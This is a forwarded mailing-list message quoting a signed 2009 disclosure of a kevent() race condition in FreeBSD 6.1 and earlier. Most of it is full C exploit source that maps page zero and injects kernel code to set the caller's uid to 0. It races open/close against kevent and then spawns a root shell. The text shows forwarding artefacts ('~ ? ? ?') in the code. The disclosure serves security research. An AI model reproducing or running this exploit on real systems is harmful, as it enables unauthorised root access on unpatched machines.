FYI. 2009/8/22 Przemyslaw Frasunek <venglin@freebsd.lublin.pl>:> -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > FreeBSD <= 6.1 suffers from classical check/use race condition on SMP > systems in kevent() syscall, leading to kernel mode NULL pointer > dereference. It can be triggered by spawning two threads: > 1st thread looping on open() and close() syscalls, and the 2nd thread > looping on kevent(), trying to add possibly invalid filedescriptor. > > The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but > was not recognized as security vulnerability. > > The following code exploits this vulnerability to run root shell. > > /* 22.08.2009, babcia padlina > ~ * FreeBSD kevent() race condition exploit > ~ * > ~ * works only on multiprocessor systems > ~ * gcc -o padlina padlina.c -lpthread > ~ * > ~ * with thanks to Pawel Pisarczyk for in-depth ia-32 architecture > discussion > ~ */ > > #define _KERNEL > > #include <sys/types.h> > #include <stdio.h> > #include <unistd.h> > #include <sys/event.h> > #include <sys/timespec.h> > #include <pthread.h> > #include <fcntl.h> > #include <string.h> > #include <stdlib.h> > #include <sys/mman.h> > > #include <sys/param.h> > #include <sys/linker.h> > #include <sys/linker.h> > #include <sys/proc.h> > > int fd; > int kq; > struct kevent kev, ke[10]; > struct timespec timeout; > int gotroot = 0; > > static void kernel_code(void) { > ~ ? ? ? ?struct thread *thread; > ~ ? ? ? ?gotroot = 1; > ~ ? ? ? ?asm( > ~ ? ? ? ? ? ? ? ?"pushl %%eax;" > ~ ? ? ? ? ? ? ? ?"movl %%fs:0, %0" > ~ ? ? ? ? ? ? ? ?: "=r"(thread) > ~ ? ? ? ?); > ~ ? ? ? ?thread->td_proc->p_ucred->cr_uid = 0; > ~ ? ? ? ?asm("popl %eax"); > ~ ? ? ? ?return; > } > > void do_thread(void) { > ~ ? ? ? ?sleep(1); > > ~ ? ? ? ?while (!gotroot) { > ~ ? ? ? ? ? ? ? ?memset(&kev, 0, sizeof(kev)); > ~ ? ? ? ? ? ? ? ?EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL); > > ~ ? ? ? ? ? ? ? ?if (kevent(kq, &kev, 1, &ke, sizeof(ke), &timeout) < 0) { > ~ ? ? ? ? ? ? ? ? ? ? ? ?perror("kevent"); > ~ ? ? ? ? ? ? ? ?} > ~ ? ? ? ?} > > } > > void do_thread2(void) { > ~ ? ? ? ?while(!gotroot) { > ~ ? ? ? ? ? ? ? ?if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) < > 0) > ~ ? ? ? ? ? ? ? ? ? ? ? ?perror("open"); > > ~ ? ? ? ? ? ? ? ?close(fd); > ~ ? ? ? ?} > } > > int main(void) { > ~ ? ? ? ?pthread_t pth, pth2; > ~ ? ? ? ?long *ap; > ~ ? ? ? ?unsigned char *p, *sp; > > ~ ? ? ? ?if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | > MAP_FIXED, -1, 0) < 0) { > ~ ? ? ? ? ? ? ? ?perror("mmap"); > ~ ? ? ? ? ? ? ? ?return -1; > ~ ? ? ? ?} > > ~ ? ? ? ?memset(0x0, 0xc3, 0x1000); > > ~ ? ? ? ?for (p = 0, sp = &kernel_code; *sp != 0xc3;) > ~ ? ? ? ? ? ? ? ? ? ? ? ?*p++ = *sp++; > > ~ ? ? ? ?if ((kq = kqueue()) < 0) { > ~ ? ? ? ? ? ? ? ?perror("kqueue"); > ~ ? ? ? ? ? ? ? ?return -1; > ~ ? ? ? ?} > > ~ ? ? ? ?pthread_create(&pth, NULL, do_thread, NULL); > ~ ? ? ? ?pthread_create(&pth2, NULL, do_thread2, NULL); > > ~ ? ? ? ?timeout.tv_sec = 0; > ~ ? ? ? ?timeout.tv_nsec = 1; > > ~ ? ? ? ?while (!gotroot) > ~ ? ? ? ? ? ? ? ?usleep(100); > > ~ ? ? ? ?setuid(0); > ~ ? ? ? ?execl("/bin/sh", "sh", 0); > > ~ ? ? ? ?printf("exploit failed\n"); > ~ ? ? ? ?return 0; > } > > > - -- > * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE * > * JID: venglin@jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV * > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (MingW32) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkqQJY8ACgkQkxEnBiV4/K1IRACeI/GYTKhzGqPJLkpheDV8rEIl > yFMAnAo6czNexms9f4zMwUjzAioNRtqz > =8qMi > -----END PGP SIGNATURE----- >